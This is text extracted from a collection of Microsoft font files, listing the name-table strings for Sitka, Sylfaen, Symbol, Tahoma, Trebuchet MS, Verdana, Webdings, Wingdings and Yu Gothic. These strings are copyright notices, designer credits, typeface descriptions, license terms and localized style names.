Banner Italic Sitka Banner Italic Sitka-Banner-Italic *SITKAVF.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Banner Banner Bold Sitka Banner Bold Sitka-Banner-Bold *SITKAVF-ITALIC.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Banner Semibold Banner Semibold Italic Sitka Banner Semibold Italic Sitka Banner Semibold Italic Sitka-Banner-Semibold-Italic *SITKAVF-ITALIC.TTF en-us Optical Size Weight Italic Small Text Subheading Heading Display Banner Regular Semibold Bold 2022 Microsoft Corporation. All Rights Reserved. Version 2.01;220324225217 Sitka is a trademark of the Microsoft group of companies. Tiro Typeworks Ltd. and Carter & Cone, for Microsoft Corporation. Matthew Carter http://www.carterandcone.com Sitka is a family of optically scaled typefaces. Each of its six styles has been designed to excel at a specific size. The smaller styles are workhorses, highly legible in text, with sturdy structures and generous spacing. At the upper end of the size range Sitka s styles have a warm and elegant personality with the narrower forms and tighter spacing appropriate for display. Used in concert, the Sitka typeface family brings readability, visual interest and typographic consistency to the page and screen. In a new and unique methodology, scientific legibility studies were directly integrated into the Sitka design process. Different versions of each letter were tested in recognition studies, and the results were incorporated into the final design. This approach of combining science, technology, and craftsmanship to produce an excellent reading experience on screen was pioneered at Microsoft by Bill Hill. As a member of the Typography and Advanced Reading Technology teams, Bill revolutionized on-screen typography by championing the creation of the OpenType specification, ClearType rendering technology, and landmark typefaces such as Verdana, Georgia, Calibri, and Meiryo. Microsoft s typography teams dedicate the Sitka family of typefaces to the memory of Bill Hill and his vision of Reading 2.0. His passion and values live on in the design of this typeface family. https://docs.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Cyrl Grek Sitka Sitka Banner Bold Italic Banner Bold Italic Sitka Banner Bold Italic Sitka-Banner-Bold-Italic *SYLFAEN.TTF en-us 2022 Microsoft Corporation. All Rights Reserved. Version 5.08 Sylfaen is a trademark of the Microsoft group of companies. Tiro Typeworks John Hudson/Geraldine Wade http://www.tiro.com Sylfaen was designed for Microsoft in 1998 by John Hudson and W. Ross Mills of Tiro Typeworks, and Geraldine Wade of Monotype Typography. Sylfaen is a Welsh word meaning "foundation"; an apt name since the font stemmed from research into the typographic requirements of many different scripts and languages. This version of Sylfaen supports the WGL4.0 character set, for Pan-European language coverage. In addition to Latin, Greek and Cyrillic letterforms, the font contains the characters necessary for support of the Armenian and Georgian languages. Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography/about Armn Cyrl Geor Grek Latn ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr Sylfaen *SYMBOL.TTF en-us Typeface The Monotype Corporation plc. Data The Monotype Corporation All Rights Reserved Version 5.01 Monotype Typography Monotype Type Drawing Office 1989 http://www.monotype.com/html/mtname/ms_welcome.html This font contains Times New Roman Greek capitals and lowercase, figures and basic punctuation together with a collection of mathematical signs and general purpose Pi characters. Use for setting mathematical and scientific work and as a compliment to the symbols found in standard fonts. http://www.monotype.com/html/mtname/ms_symbol.html Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.monotype.com/html/type/license.html Zsym ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr Symbol SymbolMT *TAHOMA.TTF 8:0_`2t #$%& /012 +)(' en-us 2022 Microsoft Corporation. All rights reserved. Hebrew OpenType Layout logic copyright 2003 & 2007, Ralph Hancock & John Hudson. This layout logic for Biblical Hebrew is open source software under the MIT License; see embedded license description for details. Version 7.04 Tahoma is a trademark of the Microsoft group of companies. Microsoft Corporation Matthew Carter https://docs.microsoft.com/typography Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the MIT license (http://en.wikipedia.org/wiki/MIT_License), applies to the OpenType Layout logic for Biblical Hebrew Layout Logic as jointly developed by Ralph Hancock and John Hudson. Permission is hereby granted, free of charge, to any person obtaining a copy of the OpenType Layout logic for Biblical Hebrew and associated documentation files (the Layout Logic Software ), to deal in the Layout Logic Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Layout Logic Software, and to permit persons to whom the Layout Logic Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Layout Logic Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Arab Armn Cyrl Grek Hebr Latn Thai ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr vi-vn Tahoma *TAHOMABD.TTF 8:0_`2t #$%& /012 +)(' en-us 2022 Microsoft Corporation. All rights reserved. Hebrew OpenType Layout logic copyright 2003 & 2007, Ralph Hancock & John Hudson. This layout logic for Biblical Hebrew is open source software under the MIT License; see embedded license description for details. Version 7.04 Tahoma is a trademark of the Microsoft group of companies. Microsoft Corporation Matthew Carter https://docs.microsoft.com/typography Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. The following license, based on the MIT license (http://en.wikipedia.org/wiki/MIT_License), applies to the OpenType Layout logic for Biblical Hebrew Layout Logic as jointly developed by Ralph Hancock and John Hudson. Permission is hereby granted, free of charge, to any person obtaining a copy of the OpenType Layout logic for Biblical Hebrew and associated documentation files (the Layout Logic Software ), to deal in the Layout Logic Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Layout Logic Software, and to permit persons to whom the Layout Logic Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Layout Logic Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Arab Armn Cyrl Grek Hebr Latn Thai ca-es Negreta cs-cz da-dk de-de Fett el-gr Bold es-es Negrita es-es_tradnl es-mx eu-es Lodia fi-fi Lihavoitu fr-ca Gras fr-fr hu-hu it-it Grassetto nb-no Halvfet nl-nl pl-pl Pogrubiony pt-br Negrito pt-pt ru-ru sk-sk sl-si Krepko sv-se tr-tr vi-vn Tahoma Tahoma Negreta Tahoma tu Tahoma fed Tahoma Fett Tahoma Tahoma Bold Tahoma Negrita Tahoma Lodia Tahoma Lihavoitu Tahoma Gras Tahoma F Tahoma Grassetto Tahoma Halvfet Tahoma Vet Tahoma Pogrubiony Tahoma Negrito Tahoma Tahoma Tu Tahoma Krepko Tahoma Fet Tahoma Kal Tahoma Tahoma-Bold *TREBUC.TTF en-us 2016 Microsoft Corporation. All rights reserved. Version 5.15 Microsoft Corporation Vincent Connare http://www.microsoft.com/typography/ Trebuchet, designed by Vincent Connare in 1996, is a humanist sans serif designed for easy screen readability. Trebuchet takes its inspiration from the sans serifs of the 1930s which had large x heights and round features intended to promote readability on signs. The typeface name is credited to a puzzle heard at Microsoft, where the question was asked, "could you build a Trebuchet (a form of medieval catapult) to launch a person from the main campus to the consumer campus, and how?" The Trebuchet fonts are intended to be the vehicle that fires your messages across the Internet. "Launch your message with a Trebuchet page". http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Armn Cyrl Grek Latn ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr Trebuchet MS TrebuchetMS *TREBUCIT.TTF en-us 2016 Microsoft Corporation. All rights reserved. Version 5.15 Microsoft Corporation Vincent Connare http://www.microsoft.com/typography/ Trebuchet, designed by Vincent Connare in 1996, is a humanist sans serif designed for easy screen readability. Trebuchet takes its inspiration from the sans serifs of the 1930s which had large x heights and round features intended to promote readability on signs. The typeface name is credited to a puzzle heard at Microsoft, where the question was asked, "could you build a Trebuchet (a form of medieval catapult) to launch a person from the main campus to the consumer campus, and how?" The Trebuchet fonts are intended to be the vehicle that fires your messages across the Internet. "Launch your message with a Trebuchet page". http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Armn Cyrl Grek Latn ca-es Cursiva cs-cz kurz da-dk kursiv de-de Kursiv el-gr Italic es-es es-es_tradnl es-mx eu-es Etzana fi-fi Kursivoitu fr-ca Italique fr-fr hu-hu it-it Corsivo nb-no nl-nl Cursief pl-pl Kursywa pt-br lico pt-pt ru-ru sk-sk Kurz sl-si evno sv-se tr-tr talik Trebuchet MS Trebuchet MS Cursiva Trebuchet MS kurz Trebuchet MS kursiv Trebuchet MS Kursiv Trebuchet MS Trebuchet MS Italic Trebuchet MS Etzana Trebuchet MS Kursivoitu Trebuchet MS Italique Trebuchet MS D Trebuchet MS Corsivo Trebuchet MS Cursief Trebuchet MS Kursywa Trebuchet MS It lico Trebuchet MS Trebuchet MS Kurz Trebuchet MS Po evno Trebuchet MS talik TrebuchetMS-Italic *TREBUCBD.TTF en-us 2016 Microsoft Corporation. All rights reserved. Version 5.15 Microsoft Corporation Vincent Connare http://www.microsoft.com/typography/ Trebuchet, designed by Vincent Connare in 1996, is a humanist sans serif designed for easy screen readability. Trebuchet takes its inspiration from the sans serifs of the 1930s which had large x heights and round features intended to promote readability on signs. The typeface name is credited to a puzzle heard at Microsoft, where the question was asked, "could you build a Trebuchet (a form of medieval catapult) to launch a person from the main campus to the consumer campus, and how?" The Trebuchet fonts are intended to be the vehicle that fires your messages across the Internet. "Launch your message with a Trebuchet page". http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Armn Cyrl Grek Latn ca-es Negreta cs-cz da-dk de-de Fett el-gr Bold es-es Negrita es-es_tradnl es-mx eu-es Lodia fi-fi Lihavoitu fr-ca Gras fr-fr hu-hu it-it Grassetto nb-no Halvfet nl-nl pl-pl Pogrubiony pt-br Negrito pt-pt ru-ru sk-sk sl-si Krepko sv-se tr-tr Trebuchet MS Trebuchet MS Negreta Trebuchet MS tu Trebuchet MS fed Trebuchet MS Fett Trebuchet MS Trebuchet MS Bold Trebuchet MS Negrita Trebuchet MS Lodia Trebuchet MS Lihavoitu Trebuchet MS Gras Trebuchet MS F Trebuchet MS Grassetto Trebuchet MS Halvfet Trebuchet MS Vet Trebuchet MS Pogrubiony Trebuchet MS Negrito Trebuchet MS Trebuchet MS Tu Trebuchet MS Krepko Trebuchet MS Fet Trebuchet MS Kal TrebuchetMS-Bold *TREBUCBI.TTF en-us 2016 Microsoft Corporation. All rights reserved. Version 5.15 Microsoft Corporation Vincent Connare http://www.microsoft.com/typography/ Trebuchet, designed by Vincent Connare in 1996, is a humanist sans serif designed for easy screen readability. Trebuchet takes its inspiration from the sans serifs of the 1930s which had large x heights and round features intended to promote readability on signs. The typeface name is credited to a puzzle heard at Microsoft, where the question was asked, "could you build a Trebuchet (a form of medieval catapult) to launch a person from the main campus to the consumer campus, and how?" The Trebuchet fonts are intended to be the vehicle that fires your messages across the Internet. "Launch your message with a Trebuchet page". http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Armn Cyrl Grek Latn ca-es Negreta cursiva cs-cz kurz da-dk fed kursiv de-de Fett Kursiv el-gr Bold Italic es-es Negrita Cursiva es-es_tradnl es-mx eu-es Lodi etzana fi-fi Lihavoitu Kursivoi fr-ca Gras Italique fr-fr hu-hu it-it Grassetto Corsivo nb-no Halvfet Kursiv nl-nl Vet Cursief pl-pl Pogrubiona kursywa pt-br Negrito It lico pt-pt ru-ru sk-sk kurz sl-si Krepko po evno sv-se Fet Kursiv tr-tr talik Trebuchet MS Trebuchet MS Negreta cursiva Trebuchet MS tu kurz Trebuchet MS fed kursiv Trebuchet MS Fett Kursiv Trebuchet MS Trebuchet MS Bold Italic Trebuchet MS Negrita Cursiva Trebuchet MS Lodi etzana Trebuchet MS Lihavoitu Kursivoi Trebuchet MS Gras Italique Trebuchet MS F Trebuchet MS Grassetto Corsivo Trebuchet MS Halvfet Kursiv Trebuchet MS Vet Cursief Trebuchet MS Pogrubiona kursywa Trebuchet MS Negrito It lico Trebuchet MS Trebuchet MS Tu kurz Trebuchet MS Krepko po evno Trebuchet MS Fet Kursiv Trebuchet MS Kal talik Trebuchet-BoldItalic *VERDANA.TTF en-us 2016 Microsoft Corporation. All Rights Reserved. Version 5.33 Verdana is a trademark of the Microsoft group of companies. Microsoft Corporation Matthew Carter Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/ Armn Cyrl Grek Latn ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr Verdana *VERDANAI.TTF en-us 2016 Microsoft Corporation. All Rights Reserved. Version 5.33 Verdana is a trademark of the Microsoft group of companies. Microsoft Corporation Matthew Carter Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/ Armn Cyrl Grek Latn ca-es Cursiva cs-cz kurz da-dk kursiv de-de Kursiv el-gr Italic es-es es-es_tradnl es-mx eu-es Etzana fi-fi Kursivoitu fr-ca Italique fr-fr hu-hu it-it Corsivo nb-no nl-nl Cursief pl-pl Kursywa pt-br lico pt-pt ru-ru sk-sk Kurz sl-si evno sv-se tr-tr talik Verdana Verdana Cursiva Verdana kurz Verdana kursiv Verdana Kursiv Verdana Verdana Italic Verdana Etzana Verdana Kursivoitu Verdana Italique Verdana D Verdana Corsivo Verdana Cursief Verdana Kursywa Verdana It lico Verdana Verdana Kurz Verdana Po evno Verdana talik Verdana-Italic *VERDANAB.TTF en-us 2016 Microsoft Corporation. All Rights Reserved. Version 5.33 Verdana is a trademark of the Microsoft group of companies. Microsoft Corporation Matthew Carter Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/ Armn Cyrl Grek Latn ca-es Negreta cs-cz da-dk de-de Fett el-gr Bold es-es Negrita es-es_tradnl es-mx eu-es Lodia fi-fi Lihavoitu fr-ca Gras fr-fr hu-hu it-it Grassetto nb-no Halvfet nl-nl pl-pl Pogrubiony pt-br Negrito pt-pt ru-ru sk-sk sl-si Krepko sv-se tr-tr Verdana Verdana Negreta Verdana tu Verdana fed Verdana Fett Verdana Verdana Bold Verdana Negrita Verdana Lodia Verdana Lihavoitu Verdana Gras Verdana F Verdana Grassetto Verdana Halvfet Verdana Vet Verdana Pogrubiony Verdana Negrito Verdana Verdana Tu Verdana Krepko Verdana Fet Verdana Kal Verdana-Bold *VERDANAZ.TTF en-us 2016 Microsoft Corporation. All Rights Reserved. Version 5.33 Verdana is a trademark of the Microsoft group of companies. Microsoft Corporation Matthew Carter Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/ Armn Cyrl Grek Latn ca-es Negreta cursiva cs-cz kurz da-dk fed kursiv de-de Fett Kursiv el-gr Bold Italic es-es Negrita Cursiva es-es_tradnl es-mx eu-es Lodi etzana fi-fi Lihavoitu Kursivoi fr-ca Gras Italique fr-fr hu-hu it-it Grassetto Corsivo nb-no Halvfet Kursiv nl-nl Vet Cursief pl-pl Pogrubiona kursywa pt-br Negrito It lico pt-pt ru-ru sk-sk kurz sl-si Krepko po evno sv-se Fet Kursiv tr-tr talik Verdana Verdana Negreta cursiva Verdana tu kurz Verdana fed kursiv Verdana Fett Kursiv Verdana Verdana Bold Italic Verdana Negrita Cursiva Verdana Lodi etzana Verdana Lihavoitu Kursivoi Verdana Gras Italique Verdana F Verdana Grassetto Corsivo Verdana Halvfet Kursiv Verdana Vet Cursief Verdana Pogrubiona kursywa Verdana Negrito It lico Verdana Verdana Tu kurz Verdana Krepko po evno Verdana Fet Kursiv Verdana Kal talik Verdana-BoldItalic *WEBDINGS.TTF en-us 2006 Microsoft Corporation. All Rights Reserved. Version 5.01 Webdings is either a registered trademark or a trademark of Microsoft Corporation in the United States and/or other countries. Microsoft Corporation V.Connare,S.Lightfoot,I.Patterson,G.Wade http://www.microsoft.com/truetype/ Designed in 1997 as a collaborative work between Microsoft's Vincent Connare and top Monotype designers Sue Lightfoot, Ian Patterson and Geraldine Wade. The images are intended for web designers who wish to include live fonts as a fast way of rendering graphics. Webdings is the latest member of Microsoft's Webfonts. Design coordination by Vincent Connare. Image designs by Vincent Connare, Ian Patterson, Sue Lightfoot and Geraldine Wade. Web and design consultation by Simon Daniels. TrueType hinting by Vincent Connare. Completed April 29, 1997. http://www.microsoft.com/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/ Zsym ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr Webdings *WINGDING.TTF en-us 2006 Microsoft Corporation. All Rights Reserved. Version 5.01 Wingdings is either a registered trademark or a trademark of Microsoft Corporation in the United States and/or other countries. Microsoft Typography The Wingdings fonts were designed by Kris Holmes and Charles Bigelow in 1990 and 1991. The fonts were originally named Lucida Icons, Arrows, and Stars to complement the Lucida text font family by the same designers. Renamed, reorganized, and released in 1992 as Microsoft Wingdings, the three fonts provide a harmoniously designed set of icons representing the common components of personal computer systems and the elements of graphical user interfaces. There are icons for PC, monitor, keyboard, mouse, trackball, hard drive, diskette, tape cassette, printer, fax, etc., as well as icons for file folders, documents, mail, mailboxes, windows, clipboard, and wastebasket. In addition, Wingdings includes icons with both traditional and computer significance, such as writing tools and hands, reading glasses, clipping scissors, bell, bomb, check boxes, as well as more traditional images such as weather signs, religious symbols, astrological signs, encircled numerals, a selection of ampersands and interrobangs, plus elegant flowers and flourishes. Pointing and indicating are frequent functions in graphical interfaces, so in addition to a wide selection of pointing hands, the Wingdings fonts also offer arrows in careful gradations of weight and different directions and styles. For variety and impact as bullets, asterisks, and ornaments, Windings also offers a varied set of geometric circles, squares, polygons, targets, and stars. http://www.microsoft.com/truetype/fonts/wingdings/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Zsym da-dk normal de-de Standard Regular es-es Normal es-es_tradnl fi-fi Normaali fr-fr it-it Normale nb-no nl-nl Standaard pt-pt sk-sk Norm sl-si Navadno sv-se Wingdings Wingdings-Regular *YUGOTHM.TTC !"#$%& ./01234567 ;<=>?@ STUVWXYZ[\]^ _`abcdefgh ijklmnop qrstuvwxt z{|}~ ONMKHFCBA 9-,+* en-us Copyright 2020 JIYUKOBO Ltd. All Rights Reserved. ja-jp Copyright 2020 All Rights Reserved. Version 1.95 Yu Type Library is a Trademark of JIYUKOBO Ltd. registered in Japan. JIYUKOBO Ltd. http://www.jiyu-kobo.co.jp/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Jpan Hrkt Hira Kana Hani Latn Grek Cyrl Medium Yu Gothic Yu Gothic Medium Medium Regular YuGothic-Medium *YUGOTHL.TTC !"#$%& ./01234567 ;<=>?@ STUVWXYZ[\]^ _`abcdefgh ijklmnop qrstuvwxt z{|}~ ONMKHFCBA 9-,+* en-us Copyright 2020 JIYUKOBO Ltd. All Rights Reserved. ja-jp Copyright 2020 All Rights Reserved. Version 1.95 Yu Type Library is a Trademark of JIYUKOBO Ltd. registered in Japan. JIYUKOBO Ltd. http://www.jiyu-kobo.co.jp/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Jpan Hrkt Hira Kana Hani Latn Grek Cyrl Light Yu Gothic Yu Gothic Light Light Regular YuGothic-Light *YUGOTHB.TTC !"#$%& ./01234567 ;<=>?@ STUVWXYZ[\]^ _`abcdefgh ijklmnop qrstuvwxt z{|}~ ONMKHFCBA 9-,+* en-us Copyright 2020 JIYUKOBO Ltd. All Rights Reserved. ja-jp Copyright 2020 All Rights Reserved. Version 1.95 Yu Type Library is a Trademark of JIYUKOBO Ltd. registered in Japan. JIYUKOBO Ltd. http://www.jiyu-kobo.co.jp/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Jpan Hrkt Hira Kana Hani Latn Grek Cyrl Bold Yu Gothic Yu Gothic Bold Bold YuGothic-Bold *YUGOTHM.TTC !"#$%&' /012345678 <=>?@A TUVWXYZ[\]^_ `abcdefghi jklmnopq rstuvwxyu {|}~ PONLIGDCB :.-,+ en-us Copyright 2020 JIYUKOBO Ltd. All Rights Reserved. Version 1.95 Yu Type Library is a Trademark of JIYUKOBO Ltd. registered in Japan. JIYUKOBO Ltd. http://www.jiyu-kobo.co.jp/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Jpan Hrkt Hira Kana Hani Latn Grek Cyrl Regular Yu Gothic UI Yu Gothic UI Regular YuGothicUI-Regular *YUGOTHR.TTC !"#$%&' /012345678 <=>?@A TUVWXYZ[\]^_ `abcdefghi jklmnopq rstuvwxyu {|}~ PONLIGDCB :.-,+ en-us Copyright 2020 JIYUKOBO Ltd. All Rights Reserved. Version 1.95 Yu Type Library is a Trademark of JIYUKOBO Ltd. registered in Japan. JIYUKOBO Ltd. http://www.jiyu-kobo.co.jp/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Jpan Hrkt Hira Kana Hani Latn Grek Cyrl Semilight Yu Gothic UI Yu Gothic UI Semilight Regular YuGothicUI-Semilight *YUGOTHL.TTC !"#$%&' /012345678 <=>?@A TUVWXYZ[\]^_ `abcdefghi jklmnopq rstuvwxyu {|}~ PONLIGDCB :.-,+ 